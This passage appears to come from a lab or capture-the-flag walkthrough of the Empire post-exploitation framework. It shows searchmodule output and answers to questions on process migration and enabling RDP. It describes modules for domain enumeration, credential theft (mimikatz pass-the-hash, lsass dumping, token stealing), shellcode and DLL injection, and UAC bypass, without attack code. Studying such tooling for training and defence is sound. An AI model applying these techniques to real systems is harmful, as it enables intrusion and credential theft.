Returns the default domain or DC policy for a given domain or domain
controller. Part of PowerView.
powershell/situational_awareness/network/powerview/get_computer
Queries the domain for current computer objects. Part of PowerView.
powershell/situational_awareness/network/powerview/get_ou
Gets a list of all current OUs in a domain. Part of PowerView.
powershell/situational_awareness/network/powerview/process_hunter
Query the process lists of remote machines, searching for processes
with a specific name or owned by a specific user. Part of PowerView.
powershell/situational_awareness/network/powerview/get_loggedon
Execute the NetWkstaUserEnum Win32API call to query a given host for
actively logged on users. Part of PowerView.
powershell/situational_awareness/network/powerview/get_forest
Return information about a given forest, including the root domain and
SID. Part of PowerView.
powershell/situational_awareness/network/powerview/get_gpo_computer
Takes a GPO GUID and returns the computers the GPO is applied to.
(Note: This function was removed in PowerView. This now uses a
combination of two CmdLets to achieve the same functionality)
powershell/situational_awareness/network/powerview/find_managed_security_group
This function retrieves all security groups in the domain and
identifies ones that have a manager set. It also determines whether
the manager has the ability to add or remove members from the group.
Part of PowerView.
powershell/situational_awareness/network/powerview/get_object_acl
Returns the ACLs associated with a specific active directory object.
Part of PowerView. WARNING: specify a specific object, otherwise a
huge amount of data will be returned.
powershell/situational_awareness/network/powerview/get_fileserver
Returns a list of all file servers extracted from user homedirectory,
scriptpath, and profilepath fields. Part of PowerView.
powershell/situational_awareness/network/powerview/get_subnet_ranges
Pulls hostnames from AD, performs a Reverse DNS lookup, and parses the
output into ranges.
powershell/situational_awareness/network/powerview/get_rdp_session
Query a given RDP remote service for active sessions and originating
IPs (replacement for qwinsta). Note: needs admin rights on the remote
server you're querying
powershell/situational_awareness/network/powerview/map_domain_trust
Maps all reachable domain trusts with .CSV output. Part of PowerView.
powershell/situational_awareness/network/powerview/get_site
Gets a list of all current sites in a domain. Part of PowerView.
powershell/situational_awareness/network/powerview/get_group_member
Returns the members of a given group, with the option to "Recurse" to
find all effective group members. Part of PowerView.
powershell/situational_awareness/network/powerview/get_domain_controller
Returns the domain controllers for the current domain or the specified
domain. Part of PowerView.
powershell/situational_awareness/network/powerview/get_gpo
Gets a list of all current GPOs in a domain. Part of PowerView.
powershell/situational_awareness/network/powerview/find_foreign_user
Enumerates users who are in groups outside of their principal domain.
Part of PowerView.
powershell/situational_awareness/network/powerview/get_domain_trust
Return all domain trusts for the current domain or a specified domain.
Part of PowerView.
powershell/situational_awareness/network/powerview/find_foreign_group
Enumerates all the members of a given domain's groups and finds users
that are not in the queried domain. Part of PowerView.
powershell/situational_awareness/network/powerview/get_localgroup
Returns a list of all current users in a specified local group on a
local or remote machine. Part of PowerView.
powershell/situational_awareness/network/powerview/get_subnet
Gets a list of all current subnets in a domain. Part of PowerView.
powershell/situational_awareness/network/powerview/get_session
Execute the NetSessionEnum Win32API call to query a given host for
active sessions on the host. Part of PowerView.
powershell/situational_awareness/network/powerview/get_cached_rdpconnection
Uses remote registry functionality to query all entries for the
Windows Remote Desktop Connection Client" on a machine. Part of
PowerView.
powershell/situational_awareness/network/powerview/user_hunter
Finds which machines users of a specified group are logged into. Part
of PowerView.
powershell/situational_awareness/network/powerview/find_localadmin_access
Finds machines on the local domain where the current user has local
administrator access. Part of PowerView.
powershell/situational_awareness/network/powerview/find_gpo_location
Takes a user/group name and optional domain, and determines the
computers in the domain the user/group has local admin (or RDP) rights
to. Part of PowerView.
powershell/situational_awareness/network/powerview/set_ad_object
Takes a SID, name, or SamAccountName to query for a specified domain
object, and then sets a specified "PropertyName" to a specified
"PropertyValue". Part of PowerView.
powershell/situational_awareness/network/powerview/share_finder
Finds shares on machines in the domain. Part of PowerView.
powershell/situational_awareness/network/powerview/find_gpo_computer_admin
Takes a computer (or GPO) object and determines what users/groups have
administrative access over it. Part of PowerView.
powershell/situational_awareness/network/powerview/get_dfs_share
Returns a list of all fault-tolerant distributed file systems for a
given domain. Part of PowerView.
powershell/situational_awareness/network/powerview/get_forest_domain
Return all domains for a given forest. Part of PowerView.
powershell/situational_awareness/network/powerview/get_user
Query information for a given user or users in the specified domain.
Part of PowerView.
powershell/collection/netripper
Injects NetRipper into targeted processes, which uses API hooking in
order to intercept network traffic and encryption related functions
from a low privileged user, being able to capture both plain-text
traffic and encrypted traffic before encryption/after decryption.
powershell/recon/find_fruit
Searches a network range for potentially vulnerable web services.
powershell/recon/fetch_brute_local
This module will logon to a member server using the agents account or
a provided account, fetch the local accounts and perform a network
based brute force attack.
|
recon
- Our process we have compromised might not be the most stable, how do we migrate to another process? (This will have a specific module answer)
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| (Empire: FKRDZB8C) > searchmodule process
python/management/osx/shellcodeinject64*
Inject shellcode into a x64 bit process
powershell/credentials/tokens
Runs PowerSploit's Invoke-TokenManipulation to enumerate Logon Tokens
available and uses them to create new processes. Similar to
Incognito's functionality. Note: if you select ImpersonateUser or
CreateProcess, you must specify one of Username, ProcessID, Process,
or ThreadId.
powershell/credentials/mimikatz/pth*
Runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth
to create a new process. with a specific user's hash. Use
credentials/tokens to steal the token afterwards.
powershell/situational_awareness/host/paranoia*
Continuously check running processes for the presence of suspicious
users, members of groups, process names, and for any processes running
off of USB drives.
powershell/situational_awareness/network/powerview/process_hunter
Query the process lists of remote machines, searching for processes
with a specific name or owned by a specific user. Part of PowerView.
powershell/collection/minidump
Generates a full-memory dump of a process. Note: To dump another
user's process, you must be running from an elevated prompt (e.g to
dump lsass)
powershell/collection/netripper
Injects NetRipper into targeted processes, which uses API hooking in
order to intercept network traffic and encryption related functions
from a low privileged user, being able to capture both plain-text
traffic and encrypted traffic before encryption/after decryption.
powershell/trollsploit/process_killer
Kills any process starting with a particular name.
powershell/trollsploit/rick_ascii
Spawns a a new powershell.exe process that runs Lee Holmes' ASCII Rick
Roll.
powershell/trollsploit/rick_astley
Runs @SadProcessor's beeping rickroll.
powershell/management/reflective_inject
Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick
which executes PS codefrom memory in a remote process
powershell/management/psinject
Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick
which executes PS codefrom memory in a remote process. ProcID or
ProcName must be specified.
powershell/management/spawn
Spawns a new agent in a new powershell.exe process.
powershell/management/shinject
Injects a PIC shellcode payload into a target process, via Invoke-
Shellcode
powershell/code_execution/invoke_dllinjection
Uses PowerSploit's Invoke-DLLInjection to inject a Dll into the
process ID of your choosing.
powershell/code_execution/invoke_reflectivepeinjection
Uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load a
DLL/EXE in to the PowerShell process or reflectively load a DLL in to
a remote process.
powershell/code_execution/invoke_shellcodemsil
Execute shellcode within the context of the running PowerShell process
without making any Win32 function calls. Warning: This script has no
way to validate that your shellcode is 32 vs. 64-bit!Note: Your
shellcode must end in a ret (0xC3) and maintain proper stack alignment
or PowerShell will crash!
powershell/code_execution/invoke_shellcode
Uses PowerSploit's Invoke--Shellcode to inject shellcode into the
process ID of your choosing or within the context of the running
PowerShell process. If you're injecting custom shellcode, make sure
it's in the correct format and matches the architecture of the process
you're injecting into.
powershell/privesc/ask
Leverages Start-Process' -Verb runAs option inside a YES-Required loop
to prompt the user for a high integrity context before running the
agent code. UAC will report Powershell is requesting Administrator
privileges. Because this does not use the BypassUAC DLLs, it should
not trigger any AV alerts.
powershell/privesc/bypassuac
Runs a BypassUAC attack to escape from a medium integrity process to a
high integrity process. This attack was originally discovered by Leo
Davidson. Empire uses components of MSF's bypassuac injection
implementation as well as an adapted version of PowerSploit's Invoke--
Shellcode.ps1 script for backend lifting.
|
powershell/management/psinject
- Last but not least, what module can we use to turn on remote desktop access for our purposes?
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| (Empire: FKRDZB8C) > searchmodule rdp
python/collection/osx/pillage_user
Pillages the current user for their keychain, bash_history, ssh known
hosts, recent folders, etc. For logon.keychain, use
https://github.com/n0fate/chainbreaker .For other .plist files, check
https://davidkoepi.wordpress.com/2013/07/06/macforensics5/
powershell/credentials/sessiongopher
Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY,
FileZilla, RDP, .ppk files, .rdp files, .sdtid files
powershell/situational_awareness/network/powerview/get_rdp_session
Query a given RDP remote service for active sessions and originating
IPs (replacement for qwinsta). Note: needs admin rights on the remote
server you're querying
powershell/situational_awareness/network/powerview/get_cached_rdpconnection
Uses remote registry functionality to query all entries for the
Windows Remote Desktop Connection Client" on a machine. Part of
PowerView.
powershell/situational_awareness/network/powerview/find_gpo_location
Takes a user/group name and optional domain, and determines the
computers in the domain the user/group has local admin (or RDP) rights
to. Part of PowerView.
powershell/management/enable_rdp*
Enables RDP on the remote machine and adds a firewall exception.
powershell/management/enable_multi_rdp*
[!] WARNING: Experimental! Runs PowerSploit's Invoke-Mimikatz function
to patch the Windows terminal service to allow multiple users to
establish simultaneous RDP connections.
powershell/management/disable_rdp*
Disables RDP on the remote machine.
|
powershell/management/enable_rdp